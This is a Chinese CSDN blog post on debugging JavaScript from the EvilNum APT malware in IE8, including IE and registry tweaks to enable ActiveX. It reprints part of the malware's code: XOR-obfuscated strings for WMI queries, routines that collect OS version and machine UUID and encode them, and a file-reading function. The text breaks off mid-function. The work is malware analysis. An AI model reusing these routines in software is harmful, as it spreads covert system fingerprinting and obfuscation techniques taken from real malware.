【调试环境】Automation服务器不能创建对象 | EvilNum的JavaScript

建瓯最坏

于 2021-06-17 15:42:45 发布

阅读量655

点赞数

分类专栏： APT 技能

本文链接：https://blog.csdn.net/JiangBuLiu/article/details/117994489

版权

在调试JavaScript过程中遇到"Automation服务器不能创建对象"的错误，尝试了多种IE设置和注册表修改，特别是将CLSID相关值设为0，以及允许阻止内容、安全警告和ActiveX交互，最终成功调试。使用F12工具进行更深入的脚本调试，包括设置断点和逐过程、逐语句调试。

摘要由CSDN通过智能技术生成

Win7 + IE8

调试的HTML代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>建瓯最坏JavaScript脚本调试</title>
</head>

<body>

<script>
document.write("<h1>🐷🐷🐷</h1>");

var WScript = new ActiveXObject("WScript.Shell");

//先尝试看看能不能成功调用“ActiveXObject”创建对象
try
{
   
	var objADODBStream = new ActiveXObject("ADODB.Stream");
}
catch(errADODB)
{
   
	document.write("尝试通过“ActiveXObject”创建流对象发生异常<br>");
	document.write("错误名称: " + errADODB.name + "<br>");
	document.write("错误信息: " + errADODB.message + "<br>");
}

function gVerFuncHandler()
{
   
	document.write("gVerFuncHandler<br>");
	//"winmgmts:\\.\root\cimv2"
	var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
	//var wmi = GetObject(on);
	//"SELECT Version FROM Win32_OperatingSystem"
	var qs = getStrFunc("KTAULgtmWiM9GTtbFRt4LRp9N1UPAiYBSCoXGy1AGwExBS9hAwYsDiV6dVhrSDI=");
	var items = wmi.ExecQuery(qs, "WQL", 0x30);
	var eit = new Enumerator(items);
	var wv = "";
	for (; !eit.atEnd(); eit.moveNext())
	{
   
		var it = eit.item();
		wv = it.Version;
		break;
	}
	if (!wv)
	{
   
		return "";
	}
	//把字符串作为URI组件进行编码。该方法不会对ASCII的字母、数字和标点符号进行编码
	return encodeURIComponent(Func6E(wv));
}

function getRI_Func(min, max)
{
   
	document.write("getRI_Func<br>");
	return (Math.floor(Math.random() * (max + 1 - min)) + min);
}

function FuncXS(s)
{
   
	document.write("FuncXS<br>");
	var es = "";
	var k = getK_Handler();

	for (var i=0 ; i<s.length ; ++i)
	{
   
		var sc = s.charCodeAt(i);
		var kc = k.charCodeAt(i % k.length);
		var xc = String.fromCharCode(sc ^ kc);
		es += xc;
	}
	return encodeURIComponent(Func6E(k+es));
}

function gSID_Handler()
{
   
	document.write("gSID_Handler<br>");
	//"winmgmts:\\.\root\cimv2"
	var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
	//var wmi = GetObject(on);
	//"SELECT UUID FROM Win32_ComputerSystemProduct"
	var qs = getStrFunc("CTInMHsteiI+PHxZHCUkOBguMxlYR2c6NRobAEwcKCQSBkwcNycZGlwMOQNad2t1OHk=");
	var items = wmi.ExecQuery(qs, "WQL", 0x30);
	var eit = new Enumerator(items);
	var sid = "";

	for (; !eit.atEnd(); eit.moveNext())
	{
   
		var it = eit.item();
		sid = it.UUID;
		break;
	}

	if (!sid)
	{
   
		return "";
	}

	var i=0;
	var sidLen = sid.length;
	var sui = "";
	while ((i + 1) < sidLen)
	{
   
		var s = (parseInt(sid.substring(i, i+2), 16) ^ 0x42).toString(16).toUpperCase();
		if (s.length < 2)
		{
   
			s = "0" + s;
		}

		sui += s;
		i += 2;
		if (i == sidLen)
		{
   
			break;
		}

		if (sid.charAt(i) == "-")
		{
   
			++i;
			sui += "-"
		}
	}
	return encodeURIComponent(Func6E(sui));
}

//Read，读取某文件
function FuncRd(pt)
{
   
	document.write("FuncRd<br>");
	//读取参数（文件路径）以ISO-8859-1编码的流对象返回
	var ft = new ActiveXObject("ADODB.Stream");
	ft.Type = 2;
	ft.CharSet = "iso-8859-1";
	ft.Open();
	ft.LoadFromFile(pt);

	var ct = ft.ReadText(-1);
	ft.Close();
	ft = null;
	return ct;
}

function getStrFunc(bes)
{
   
	document.write("getStrFunc<br>");
	var es = Func6D(bes);
	var esl = es.length;
	var k = es.substring(esl-6);
	var s = es.substring(0, esl-6);
	var ds = "";

	for (var i=0 ; i<s.length ; ++i)
	{
   
		var sc = s.charCodeAt(i);
		var kc = k.charCodeAt(i % k.length);
		//转成ASCII码后异或解密
		var xc = String.fromCharCode(sc ^ kc);
		ds += xc;
	}
	return ds;
}

//Base64Encode
function Func6E(data)
{
   
	document.write("Func6E<br>");
	var os = new ActiveXObject("ADODB.Stream");
	os.Type = 2;
	os.CharSet = "us-ascii";
	os